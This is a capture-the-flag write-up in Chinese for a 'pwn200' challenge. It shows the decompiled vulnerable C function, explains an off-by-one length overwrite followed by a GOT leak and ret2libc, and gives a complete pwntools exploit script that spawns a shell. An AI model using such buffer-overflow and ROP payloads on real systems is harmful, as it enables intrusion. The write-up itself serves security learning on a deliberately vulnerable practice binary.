Code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // [email protected]
char sloganstr; // [sp+1Ch] [bp-9Ch]@1
char namestr[16]; // [sp+9Ch] [bp-1Ch]@1
size_t nbytes; // [sp+ACh] [bp-Ch]@1
nbytes = 16;
*(_DWORD *)namestr = 0;
*(_DWORD *)&namestr[4] = 0;
*(_DWORD *)&namestr[8] = 0;
*(_DWORD *)&namestr[12] = 0;
memset(&sloganstr, 0, 0x80u);
write(1, "input name:", 0xCu);
read(0, namestr, nbytes + 1);
if ( strlen(namestr) - 1 <= 9 && !strncmp("syclover", namestr, 8u) )
{
write(1, "input slogan:", 14u);
read(0, &sloganstr, nbytes);
result = write(1, &sloganstr, nbytes);
}
else
{
result = -1;
}
return result;
}
Idea:
利用思路,首先利用1bit的人为漏洞(syclover+\00+‘a‘*7+\ff)修改第二次的长度(read的话应该是直接最大就行?嗯)
第二次输入可以导致控制输入流。但是程序开启了nx,所以使用ret2libc。ret2libc需要有system的地址,所以还需要一次leak(通过构造write函数调用的帧结构,调用一个write),所以首先构造调用write(这里的write调用的不是程序中的,因为call不太好使,使用的是_plt中的调用,调用后可以返回函数头)打印出got表中的内容,然后再控制输入流跳至程序/函数开始,然后第二次构造栈帧得到shell。(ebp?跳至函数开头即可,所谓ROP)
Step:
修改长度√
控制输入流,跳至函数开始√
构造write栈帧调用write函数(leak)√
参考urlencoder构造ret2libc√
Exploit:
#Exploit for [email protected]
#@Windcarp 2015.08.11
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=True
if local:
p = process("./pwn200")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
pass
binary = ELF("pwn200")
#address
write_libc = libc.symbols["write"]
system_libc = libc.symbols["system"]
binsh_libc = libc.search(‘/bin/sh‘).next()
ret_addr_str = ‘\xac\x84\x04\x08‘
#payload
payload = ‘syclover‘ + ‘\x00‘ + ‘a‘ * 7 + ‘\xb4‘
payload2 = ‘a‘ * 0x80 + ‘b‘ * (4 * 8) + ‘\xa0\x83\x04\x08‘
payload3 = ‘\xac\x84\x04\x08\x01\x00\x00\x00\x60\x98\x04\x08\xff\x00\x00\x00‘
payload4 = ‘syclover‘ + ‘\x00‘ + ‘a‘ * 7 + ‘\xff‘
#pause for gdb to attach
raw_input()
#first step
#attention to fit the program well
p.recvuntil("name:")
p.send(payload)#no ‘\n‘
#second step
p.recvuntil("slogan:")
p.send(payload2 + payload3)
leakdata = p.recvuntil("name:")
writeaddr = leakdata[-266:-262]
write_addr = u32(writeaddr)
print "[*] leakaddr " + str(hex(write_addr))
libc_addr = write_addr - write_libc
system_addr = libc_addr + system_libc
binsh_addr = libc_addr + binsh_libc
payload5 = ‘a‘ * 0x80 + ‘b‘ * (4 * 8)
payload5 += p32(system_addr) + ret_addr_str + p32(binsh_addr)
p.send(payload4)
p.recvuntil("slogan:")
p.send(payload5 + ‘\n‘)
#yeah!We got the shell!
p.interactive()
PS:
这题只值200分哭。。觉得人为插入的(nbyte+1)是不是给分的依据?
可惜不知道gdb怎么输入不可见字符,否则调试就更容易了。。头痛%>_<%
虽然是基础的题目,又搞清楚了很多问题(rop,ret2libc,function controller,plt got)
最后,有时距离成功只有一个‘\n‘(write与printf的区别)